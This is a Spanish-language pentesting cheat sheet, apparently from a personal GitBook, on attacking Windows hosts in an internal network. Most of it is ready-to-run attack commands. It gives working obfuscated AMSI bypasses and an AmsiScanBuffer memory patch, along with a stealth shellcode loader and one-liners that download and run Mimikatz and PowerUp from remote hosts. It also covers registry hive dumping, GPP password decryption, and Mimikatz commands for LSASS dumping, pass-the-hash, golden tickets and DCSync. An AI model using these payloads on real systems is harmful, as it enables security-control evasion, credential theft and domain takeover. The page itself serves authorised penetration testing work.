Grimorio de XTORMIN
Xtormin GithubLinkedIn
  • Home
  • 🧠IA / AI
    • Investigación y automatización
    • IA en local
    • Plantillas de prompts
      • Informes de pentesting
  • 🏢Pentesting en Infraestructuras
    • Intrusión física
    • Redes Wi-Fi
      • Herramientas
      • Metodología de Pentest Wifi
      • WEP
      • WPA2-PSK / Red personal
      • WPA2-MGT / Red corporativa
    • Cloud
      • 🔷Azure
        • Herramientas
        • Metodología de Azure Pentest
        • AzureAD
        • Az Powershell
        • Az Cli
        • Portal de Azure
    • Perímetro
      • Acceso remoto
    • Red interna
      • Windows
      • Active directory
        • Enumeración manual
    • Servicios
      • FTP - 21/tcp
      • SSH - 22/tcp
      • DNS - 53/UDP
      • SMB - 135, 445 /tcp
      • SNMP - 161, 162, 10161, 10162/udp
      • IPMI - 623/udp/tcp
      • RDP - 3389/TCP
      • Redis - 6379/tcp
    • Misc
      • Transferencia de ficheros
  • 🌐Pentesting en aplicaciones web
    • General
      • Ataques y vulnerabilidades
        • Autenticación
          • Vulnerabilidades JWT
        • Javascript
          • XSS
          • Contaminación de prototipos - Prototype pollution
        • GraphQL
      • Explotación
        • Webshell
    • Tecnología
      • Jenkins
      • Salesforce
  • ⚒️Herramientas comunes
    • Recursos generales
    • Nmap
    • Nuclei
    • BloodHound
  • 👾MISC
    • [ Kali ] Setup
      • VPN
Con tecnología de GitBook
En esta página
  • Evasión de restricciones
  • Habilitar ejecución de scripts
  • Invisi-Shell
  • AMSI PowerShell Bypass
  • AMSI .NET Bypass
  • Loaders
  • PSAmsi
  • Enumeración automatizada
  • WinPEAS
  • PowerUp
  • PrivescCheck
  • Vulnerabilidades
  • Actualizaciones vía WSUS
  • Escalada de privilegios
  • Equipo conectado con Azure
  • Servicio modificable
  • Máquinas del dominio con acceso privilegiado
  • Extracción de credenciales
  • Obtención de SAM, SYSTEM, SECURITY
  • GPP - Group Password Policy
  • Mimikatz
  • Credenciales en eventos de logs
  • Referencias

¿Te fue útil?

  1. Pentesting en Infraestructuras
  2. Red interna

Windows

AnteriorRed internaSiguienteActive directory

Última actualización hace 29 días

¿Te fue útil?

Evasión de restricciones

¿Qué es AMSI?

AMSI es una interfaz de seguridad en Windows diseñada para detectar scripts maliciosos en tiempo de ejecución, escaneándolos antes de ser ejecutados.

Habilitar ejecución de scripts

El siguiente comando permite modificar la política de PowerShell de forma que se permita la ejecución de todos los scripts sin firmar y sin aplicar restricciones ni advertencias (-exec bypass). Además, no se carga el perfil del usuario, lo que permite evadir posibles restricciones (-nop).

powershell -nop -exec bypass

Invisi-Shell

Invisi-Shell abusa de una técnica conocida como Reflection (reflexión) en .NET para cargar e invocar directamente las funciones internas del motor de PowerShell en memoria. Esto evita el uso explícito de powershell.exe o pwsh.exe, lo cual es comúnmente monitorizado por soluciones de seguridad.

Carga dinámicamente la librería System.Management.Automation.dll, que contiene el motor de PowerShell embebido. Usando System.Reflection, instancia clases como PowerShell o Runspace sin tener que lanzar un proceso.

git clone "https://github.com/OmerYa/Invisi-Shell.git"
C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat
C:\AD\Tools\InviShell\RunWithPathAsAdmin.bat

AMSI PowerShell Bypass

S`eT-It`em ( 'V'+'aR' +  'IA' + (("{1}{0}"-f'1','blE:')+'q2')  + ('uZ'+'x')  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    Get-varI`A`BLE  ( ('1Q'+'2U')  +'zX'  )  -VaL  )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),(("{0}{1}" -f '.M','an')+'age'+'men'+'t.'),('u'+'to'+("{0}{2}{1}" -f 'ma','.','tion')),'s',(("{1}{0}"-f 't','Sys')+'em')  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+("{0}{1}" -f 'ni','tF')+("{1}{0}"-f 'ile','a'))  ),(  "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+("{1}{0}" -f'ubl','P')+'i'),'c','c,'  ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )

AMSI .NET Bypass

En la siguiente tabla se enumeran algunos scripts que permiten la evasión. También se indica la última fecha en la que he podido ejecutar el script sin restricción:

Windows 10

Fecha
Técnica / Payload

15/10/2024

15/10/2024

15/10/2024

Por ejemplo:

$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $Win32
$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)

Loaders

Artefacto de carga (loader) cuya función principal es facilitar la ejecución de shellcode de forma sigilosa. Implementa técnicas de evasión para minimizar la detección y suele ser el único componente persistente en disco durante la operación.

SilentLoader

git clone "https://github.com/xtormin/SilentLoader.git"
cd SilentLoader
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:sloader.exe /target:exe /reference:System.dll /reference:System.Core.dll SilentLoader.cs
.\SilentLoader.exe -f [programa.exe] [-p "argumentos opcionales"]
.\SilentLoader.exe -f Rubeus.exe

PSAmsi

PSAmsi es una herramienta que permite evadir AMSI (Antimalware Scan Interface) en PowerShell.

cd .\PSAmsi\PSAmsi
Import-Module .\PSAmsi.psd1

$Scanner.GetPSAmsiScanResult('test')
False

$Scanner.GetPSAmsiScanResult([Uri]::new('https://raw.githubusercontent.com/SpecterOps/BloodHound-Legacy/refs/heads/master/Collectors/DebugBuilds/SharpHound.ps1'))
True

Enumeración automatizada

WinPEAS

iwr https://github.com/peass-ng/PEASS-ng/releases/download/20241007-05f777b2/winPEASx64.exe -outputfile winpeas64.exe

Ejecución básica:

.\winPEASx64.exe

Para entornos más restringidos, se puede usar un loader que permita cargar y ejecutar en memoria el programa. Por ejemplo:

SilentLoader

.\sloader.exe -f C:\Pentest\Tools\winPEASx64.exe -p notcolor log

PowerUp

. C:\AD\Tools\PowerUp.ps1
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)

Se enumeran las posibles vías de elevación de privilegios y se exporta la información a un fichero html:

Invoke-AllChecks -HTMLReport

PrivescCheck

git clone "https://github.com/itm4n/PrivescCheck.git"
Invoke-PrivescCheck -Extended -Audit -Report PrivescCheck_$($env:COMPUTERNAME) -Format TXT,HTML,CSV,XML

Vulnerabilidades

Actualizaciones vía WSUS

WSUS (Windows Server Update Services) es un servicio que permite gestionar la distribución de actualizaciones en redes corporativas con sistemas Windows.

Es un servidor centralizado que descarga y distribuye parches de seguridad y actualizaciones en los clientes de la red local.

Para comprobar si el servidor WSUS es vulnerable a CVE-2020-1013, se tienen que dar dos condiciones:

  1. El servidor WSUS tiene que utilizar el protocolo HTTP en vez de HTTPS. Para comprobar cuál servidor WSUS se está utilizando:

reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
      WUServer    REG_SZ    http://xtormin.local:8530
  1. Que el uso del servidor WSUS esté activado. Para ello, el resultado del siguiente registro debe ser igual a 0:

reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer

Writeup de la investigación y presentación en la BlackHat:

Otras referencias:

Escalada de privilegios

Equipo conectado con Azure

wget https://raw.githubusercontent.com/Hackplayers/PsCabesha-tools/master/Privesc/Azure-ADConnect.ps1
Azure-ADConnect -server 127.0.0.1 -db ADSync

Servicio modificable

Identificación

Herramienta
Comando

PowerUp

Ejemplo de explotación

Herramienta
Comando

PowerUp

Máquinas del dominio con acceso privilegiado

Buscar máquinas donde el usuario tiene permisos de administrador local:

. C:\AD\Tools\Find-PSRemotingLocalAdminAccess.ps1
Find-PSRemotingLocalAdminAccess
  • winrs:

winrs -r:<Nombre de la máquina> cmd
set username
set computername
  • PSSession:

Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local
$env:username

Extracción de credenciales

Obtención de SAM, SYSTEM, SECURITY

reg save HKLM\SAM C:\WINDOWS\Temp\sam.dmp
reg save HKLM\SYSTEM C:\WINDOWS\Temp\system.dmp
reg save HKLM\security C:\WINDOWS\Temp\security.dmp
samdump2 system sam
/home/kali/tools/impacket/examples/secretsdump.py -sam sam.dmp -system system.dmp -security security.dmp LOCAL

GPP - Group Password Policy

cd %windir%\system32\grouppolicy
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description="" cpassword="jdBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>
</Groups>
gpp-decrypt jdBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ

Mimikatz

certutil -urlcache -split -f http://192.168.119.142/mimikatz.exe C:\Windows\Temp\mimikatz.exe && C:\Windows\Temp\mimikatz.exe

powershell IEX (New-Object System.Net.Webclient).DownloadString('http://10.0.0.5/Invoke-Mimikatz.ps1') ; Invoke-Mimikatz -DumpCreds

privilege::debug
log
log customlogfilename.log

token::elevate

Dump LSASS

privilege::debug
token::elevate
sekurlsa::logonpasswords

Seckurlsa

sekurlsa::ekeys

sekurlsa::logonpasswords
sekurlsa::logonPasswords full

sekurlsa::tickets
sekurlsa::tickets /export

sekurlsa::tspkg

sekurlsa::pth /user:Administrator /domain:xtormincorp.local /ntlm:4c13687d23a3a88e57fc9ef8bb4cdf2f /run:cmd

sekurlsa::minidump c:\Windows\Temp\lsass.dmp

Kerberos

kerberos::list /export

kerberos::ptt c:\chocolate.kirbi
kerberos::golden /admin:administrateur /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /krbtgt:310b643c5316c8c3c70a10cfb17e2e31 /ticket:chocolate.kirbi

DSync

lsadump::dcsync /user:domain\krbtgt /domain:xor.com
lsadump::dcsync /domain:xor.com /all /csv
lsadump::dcsync /domain:xor.com /user:administrator

lsadump::lsa /inject
token::elevate
lsadump::sam
lsadump::secrets
lsadump::cache
token::revert

Vault

vault::cred
vault::cred /patch
vault::list

Terminal Services

ts::multirdp
ts::logonpasswords

Pass-the-Hash

sekurlsa::pth /user:Administrator /domain:xtormincorp.local /ntlm:cc36cf7a8514893efccd332446158b1a

sekurlsa::pth /user:Administrator /domain:xtormincorp.local /aes256:b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9

sekurlsa::pth /user:Administrator /domain:xtormincorp.local /ntlm:cc36cf7a8514893efccd332446158b1a /aes256:b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9

sekurlsa::pth /user:Administrator /domain:xtormincorp.local /ntlm:{NTLM_hash} /run:cmd.exe

Credenciales en eventos de logs

Se parsean los logs de Windows Event ID 4688 para extraer credenciales:

nxc smb 192.168.1.100 -u $USER -p $PASS -M eventlog_creds

Referencias

Última versión y binarios:

Otras formas de transferir ficheros:

Presentación:

Investigación:

Otras formas de transferir ficheros:

WADComs -

Track 3 15 Goodbye Obfuscation Hello Invisi Shell Hiding Your Powershell Script in Plain Sight Omer -

🏢
Get-ModifiableService
Invoke-ServiceAbuse -Name 'WebServer' -UserName 'xtormincorp\xtormin' -Verbose
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell
https://s3cur3th1ssh1t.github.io/Powershell-and-the-.NET-AMSI-Interface/
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell?tab=readme-ov-file#patching-amsi-amsiscanbuffer-by-rasta-mouse
https://github.com/xtormin/SilentLoader
https://github.com/cobbr/PSAmsi.git
https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS
https://github.com/peass-ng/PEASS-ng/releases
https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerUp/PowerUp.ps1
https://www.blackhat.com/docs/us-15/materials/us-15-Stone-WSUSpect-Compromising-Windows-Enterprise-Via-Windows-Update.pdf
https://www.blackhat.com/docs/us-15/materials/us-15-Stone-WSUSpect-Compromising-Windows-Enterprise-Via-Windows-Update-wp.pdf
https://gosecure.ai/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/
https://learn.microsoft.com/es-es/windows-server/administration/windows-server-update-services/get-started/windows-server-update-services-wsus
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#wsus:~:text=ft%20Name%2CRoot-,WSUS,-You%20can%20compromise
https://wadcoms.github.io/#+Privilege%20Escalation
https://www.youtube.com/watch?v=Y3oMEiySxcc
https://www.atomicredteam.io/atomic-red-team
https://etchedshell.medium.com/powerup-experience-42f3d7904e79
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell?tab=readme-ov-file#using-reflection
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell?tab=readme-ov-file#64-bit
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell?tab=readme-ov-file#patching-amsi-amsiscanbuffer-by-rasta-mouse
https://learn.microsoft.com/es-es/windows/win32/amsi/antimalware-scan-interface-portal
Windows
Windows